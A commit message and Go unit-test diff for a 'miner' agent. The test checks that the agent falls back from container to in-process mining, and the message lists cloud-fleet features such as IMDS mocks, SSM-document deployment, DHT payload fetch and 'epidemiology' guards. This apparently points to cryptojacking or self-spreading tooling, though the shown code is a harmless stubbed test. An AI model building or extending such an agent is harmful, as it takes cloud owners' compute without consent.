Extend agent tests for cloud fleet features and erasure lanes.

Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane.

agent/miner/contingency_tree_test.go

@@ -169,3 +169,22 @@ func TestBranchWonThreshold(t *testing.T) {
 		t.Fatal("0 should not win")
 	}
 }
+
+func TestContingencyRunPassSkipsMethod(t *testing.T) {
+	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
+		StartInProcess: func() error { return nil },
+		StartContainer: func() error { return ErrMethodUnavailable },
+		Hashrate:       func() float64 { return 100 },
+		AcquirePool:    func() bool { return true },
+		ReleasePool:    func() {},
+	}, nil)
+	r.ApplyBranchParams(ContingencyBranchParams{
+		BranchOrder: []string{"container", "inprocess"},
+		SkipMethods: []string{"container"},
+	})
+	ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
+	defer cancel()
+	if !r.runPass(ctx) {
+		t.Fatal("expected inprocess win after container skipped")
+	}
+}